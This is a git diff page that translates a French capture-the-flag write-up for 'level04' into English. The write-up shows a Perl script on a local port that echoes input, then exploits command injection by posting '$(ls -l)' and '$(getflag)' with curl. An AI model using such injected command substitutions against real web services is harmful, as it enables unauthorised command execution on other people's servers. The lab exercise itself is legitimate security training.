docs(lvl04): adding the english readme
This commit is contained in:
parent
1dddf74bfb
commit
f24f78ad47
1 changed files with 5 additions and 5 deletions
|
|
@ -1,6 +1,6 @@
|
||||||
Lors de l'arriver sur le level04 je remarque le fichier level04.pl
|
When arriving on level04 I notice the file level04.pl.
|
||||||
|
|
||||||
Ce script est en perl et se presente sous la forme
|
This script is in perl and presents itself in the form:
|
||||||
|
|
||||||
```perl
|
```perl
|
||||||
#!/usr/bin/perl
|
#!/usr/bin/perl
|
||||||
|
|
@ -13,21 +13,21 @@ sub x {
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Nous pouvons donc voir que ce script recupere un argument (ici x), et affiche cet argumements
|
We can therefore see that this script retrieves an argument (here x), and displays this argument.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -d x="Common will just echo" http://127.0.0.1:4747
|
curl -d x="Common will just echo" http://127.0.0.1:4747
|
||||||
Common will just echo
|
Common will just echo
|
||||||
```
|
```
|
||||||
|
|
||||||
Nous pouvons donc afficher ce que nous souhaitons en executant echo. Mais egallement un subshell
|
We can therefore display what we want by executing echo. But also a subshell.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -d x="\$(ls -l)" http://127.0.0.1:4747
|
curl -d x="\$(ls -l)" http://127.0.0.1:4747
|
||||||
total 4 -r-xr-x---+ 1 flag04 level04 152 Jan 26 13:42 level04.pl
|
total 4 -r-xr-x---+ 1 flag04 level04 152 Jan 26 13:42 level04.pl
|
||||||
```
|
```
|
||||||
|
|
||||||
Nous pouvons donc executer les commandes donc testons avec getflag
|
We can therefore execute commands so let us test with getflag.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -d x="\$(getflag)" http://127.0.0.1:4747
|
curl -d x="\$(getflag)" http://127.0.0.1:4747
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue